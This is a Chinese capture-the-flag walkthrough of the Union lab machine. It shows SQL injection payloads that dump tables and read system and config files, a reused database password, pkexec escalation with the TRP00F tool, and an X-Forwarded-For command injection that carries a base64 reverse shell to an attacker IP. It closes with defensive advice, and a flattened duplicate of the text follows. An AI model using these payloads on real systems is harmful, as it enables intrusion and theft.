[Meachines] [Medium] Union UHC+SQLI文件读取+TRP00F+命令注入+sudo权限提升
字数 1275 2025-08-29 08:29:41

Union UHC 渗透测试实战教学文档

1. 信息收集阶段

1.1 目标识别

  • 目标IP: 10.10.11.128
  • 使用命令检查目标是否在线:
ip='10.10.11.128'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";

1.2 端口扫描

  • 使用masscan进行快速端口扫描:
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  • 发现开放端口: 80/tcp
  • 服务识别: nginx 1.18.0 (Ubuntu)

2. Web应用渗透

2.1 SQL注入漏洞利用

  • 目标URL: http://10.10.11.128/challenge.php
  • 注入参数: player

2.1.1 基础注入测试

player=' union select 9;--+-

2.1.2 数据库信息收集

  • 获取所有数据库名:
player=' union select group_concat(schema_name) from information_schema.schemata;--+-
  • 获取特定数据库表名(november):
player=' union select group_concat(table_name) from information_schema.columns where table_schema='november';--+-

2.1.3 数据提取

  • 从flag表获取flag:
player=' union select group_concat(one) from november.flag;--+-
  • 获取结果: UHC{F1rst_5tep_2_Qualify}

  • 获取players表内容:

player=' union select group_concat(player) from november.players;--+-
  • 结果: ippsec,celesian,big0us,luska,tinyboy

2.1.4 文件读取利用

  • 读取/etc/passwd:
player=' union select load_file('/etc/passwd');--+-
  • 读取Web配置文件:
player=' union select load_file('/var/www/html/index.php');--+-
player=' union select load_file('/var/www/html/config.php');--+-
  • 获取数据库凭据: username:uhc, password:uhc-11qual-global-pw

3. 权限提升

3.1 TRP00F工具利用

  • 项目地址: https://github.com/MartinxMax/trp00f
  • 使用命令:
python3 trp00f.py --lhost 10.10.16.33 --lport 10000 --rhost 10.10.16.33 --rport 10032 --http 9999
  • 选择利用pkexec漏洞: y

3.2 命令注入漏洞

  • 目标URL: http://10.10.11.128/firewall.php
  • 利用X-Forwarded-For头进行命令注入:
curl -X GET "http://10.10.11.128/firewall.php" \
-H "X-Forwarded-For: 1.1.1.1;echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMzLzQ0MyAwPiYx|base64 -d |bash;"
  • Base64解码后命令: /bin/bash -i >& /dev/tcp/10.10.16.33/443 0>&1

3.3 Sudo权限提升

  • 获取root权限:
sudo su

4. Flag获取

  • User flag: 1618310a48daa65a153e7ca160f99720
  • Root flag: c6c82ef44b36fad95d3711546e31d86a

5. 技术要点总结

  1. SQL注入:

    • 使用UNION SELECT进行数据提取
    • 利用load_file函数读取系统文件
    • 通过information_schema获取数据库结构信息
  2. 命令注入:

    • 利用HTTP头(X-Forwarded-For)注入命令
    • Base64编码绕过过滤
    • 反弹shell建立
  3. 权限提升:

    • 利用TRP00F工具进行本地提权
    • 通过sudo su获取root权限
  4. 工具使用:

    • nmap/masscan用于端口扫描
    • curl用于HTTP请求和漏洞利用
    • trp00f用于提权

6. 防御建议

  1. SQL注入防御:

    • 使用参数化查询
    • 实施输入验证和过滤
    • 最小化数据库用户权限
  2. 命令注入防御:

    • 严格验证所有用户输入
    • 避免在代码中使用系统命令
    • 使用白名单验证输入
  3. 权限管理:

    • 遵循最小权限原则
    • 定期审计sudo权限
    • 及时更新系统补丁
  4. 文件权限:

    • 限制Web服务器用户权限
    • 保护配置文件不被读取
    • 禁用不必要的PHP函数(如load_file)
Union UHC 渗透测试实战教学文档 1. 信息收集阶段 1.1 目标识别 目标IP: 10.10.11.128 使用命令检查目标是否在线: 1.2 端口扫描 使用masscan进行快速端口扫描: 发现开放端口: 80/tcp 服务识别: nginx 1.18.0 (Ubuntu) 2. Web应用渗透 2.1 SQL注入漏洞利用 目标URL: http://10.10.11.128/challenge.php 注入参数: player 2.1.1 基础注入测试 2.1.2 数据库信息收集 获取所有数据库名: 获取特定数据库表名(november): 2.1.3 数据提取 从flag表获取flag: 获取结果: UHC{F1rst_5tep_2_Qualify} 获取players表内容: 结果: ippsec,celesian,big0us,luska,tinyboy 2.1.4 文件读取利用 读取/etc/passwd: 读取Web配置文件: 获取数据库凭据: username:uhc , password:uhc-11qual-global-pw 3. 权限提升 3.1 TRP00F工具利用 项目地址: https://github.com/MartinxMax/trp00f 使用命令: 选择利用pkexec漏洞: y 3.2 命令注入漏洞 目标URL: http://10.10.11.128/firewall.php 利用X-Forwarded-For头进行命令注入: Base64解码后命令: /bin/bash -i >& /dev/tcp/10.10.16.33/443 0>&1 3.3 Sudo权限提升 获取root权限: 4. Flag获取 User flag: 1618310a48daa65a153e7ca160f99720 Root flag: c6c82ef44b36fad95d3711546e31d86a 5. 技术要点总结 SQL注入 : 使用UNION SELECT进行数据提取 利用load_ file函数读取系统文件 通过information_ schema获取数据库结构信息 命令注入 : 利用HTTP头(X-Forwarded-For)注入命令 Base64编码绕过过滤 反弹shell建立 权限提升 : 利用TRP00F工具进行本地提权 通过sudo su获取root权限 工具使用 : nmap/masscan用于端口扫描 curl用于HTTP请求和漏洞利用 trp00f用于提权 6. 防御建议 SQL注入防御 : 使用参数化查询 实施输入验证和过滤 最小化数据库用户权限 命令注入防御 : 严格验证所有用户输入 避免在代码中使用系统命令 使用白名单验证输入 权限管理 : 遵循最小权限原则 定期审计sudo权限 及时更新系统补丁 文件权限 : 限制Web服务器用户权限 保护配置文件不被读取 禁用不必要的PHP函数(如load_ file)